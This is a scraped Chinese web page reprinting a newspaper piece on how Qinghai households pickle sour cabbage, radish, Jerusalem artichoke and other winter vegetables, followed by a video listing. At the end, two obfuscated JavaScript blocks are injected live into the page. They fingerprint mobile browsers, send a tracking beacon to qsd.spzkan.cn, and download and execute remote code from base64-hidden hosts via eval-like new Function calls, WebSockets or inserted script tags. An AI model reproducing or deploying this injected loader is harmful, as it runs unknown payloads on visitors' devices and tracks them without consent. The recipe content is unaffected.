馋死了！又到青海人腌酸菜的时候了
时间：2020-10-23 23:52:20阅读：4419次来源：星辰影院 来源：西海都市报
冷飕飕的冬天
青海人的饭桌上
总忘不掉一道菜
它可能是一盘热腾腾的酸菜炒粉条
也可能是一道酸爽可口的调味小菜
或者
它还能和肉炒在一起
还可以和鱼炖到一起
也可以包进饺子里
它，就是腌酸菜！
腌酸菜是很多青海人儿时的记忆，也是冬天，最让青海人放不下的味道。
这不，今年，又到了腌酸菜的时候了。
那么问题来了，您还记得怎么腌酸菜吗？
原料
大白菜、蒜苗、粗辣椒面、青盐、花椒、小茴香
步骤
1
先准备一个容器，青海人一般都是用缸，再找几块大石头。
2
把大白菜洗一下，不用每片瓣开，只要把多余的泥土洗去就可以。
3
大白菜，切为2~4瓣，待用。
4
将花椒、粗辣椒面、小茴香、腌菜专用盐(家用碘盐不可)等辅料拌匀。
5
将拌匀的佐料均匀涂抹至白菜上，之后将涂抹均匀的白菜整齐的放入缸中，把剥好的蒜苗时不时加一两根。
6
待放满后， 这样放置1-2天让白菜出一些水，然后直接往容器中倒入少许清水，压上大石头或重物，使白菜中的水分淹没白菜，防止腐烂变质，阴凉处放置就不用管它了。
7
一个月左右时间，待到白菜有很重的酸味，通身变成透明，就腌好可以吃了。
青海人酸菜的吃法也是很多的
酸菜粉条
酸菜馅饺子
青海土火锅里加点酸菜，味道实话美极了
砂锅酸菜炖牛肉
除了酸菜
青海人也会腌制一些其他菜肴准备过冬
一起来看看
腌花菜
青海腌花菜是用包心菜、胡萝卜、芹菜、辣椒等腌制。
花菜腌制时间短，一般腌在小的瓷坛中，随时都可以盛着吃！
一起随小编看看花菜是怎么腌制的吧！
首先，要准备好腌制花菜的原材料，将蔬菜洗净、切成丝、拌匀。
将拌匀的蔬菜一层一层的码在瓷坛中，码的时候要放青海茶卡盐湖产的大青盐，青海乐都产的紫皮大蒜！最后用大青石压好。大约一个星期之后就可以吃花菜了！对于青海人来说花菜是百搭菜，可以就面条吃，可以就米饭吃，也可以就煮洋芋吃，最好吃的莫过于就搅团吃了，是不是看着很诱人！
萝卜干
冬吃萝卜夏吃姜，冬天腌点萝卜干，也算一种情怀吧。毕竟青海的冬天除了洋芋白菜就剩下萝卜了...
腌萝卜先要晒萝卜干，此番景象构成一道靓丽的风景线。
之后把晾干的萝卜条收到干净容器里，倒入高度白酒。
放入盐、辣子、花椒等。
拌匀后装瓶，放置几天后即可取出食用。
地螺丝
地螺丝，学名草僵蚕，俗名“地蒌子”“洋地蒌”。腌制要在约十升容量的坛子里，把地螺丝剔除根须洗净，倒入凉开水，加适量盐浸泡一周。
地螺丝青海人还是很少有人腌，但是偶尔也会吃到。
腌洋姜
洋姜，可能小编这么说，大家对洋姜还是模模糊糊，但我肯定你吃过，直接上图。顺便说一句：洋姜对低血糖和糖尿病有特殊的疗效。
介绍了几种香喷喷的腌菜
想必大家哈喇子流了一地了
还等什么
快回家和家人一起腌酸菜吧！
西报君综合
热门视频
白夜破晓
潘粤明,王龙正,梁缘,王迅,吴晓亮,费启鸣,鄂靖文,韩烨洲,张皓然,涂松岩,尹姝贻,侯雪龙,杨凯迪,吴文璟,刘柏希,李滨,罗康,张洪睿,刘天佐
未录入 / 其他
更新至12集
人气：18
function UrHZkO(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function weDNiqf(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UrHZkO(t);};window[''+'c'+'m'+'F'+'i'+'U'+'p'+'D'+'L'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ROpDn(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=weDNiqf,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ROpDn(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ROpDn(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLm1rdnNmLmNuJTNBODg5MQ==','d3NNzJTNNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MzM=','159458',window,document,['Z','N']);}:function(){};
function vbkCETyF(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XxcCDLPe(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vbkCETyF(t);};window[''+'l'+'r'+'R'+'c'+'U'+'z'+'f'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function sjnBT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XxcCDLPe,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=sjnBT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=sjnBT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm1rdnNmmLmmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGYS5rZZmdqYS5jbiUzQTk1MzM=','159459',window,document,['m','Z']);}:function(){};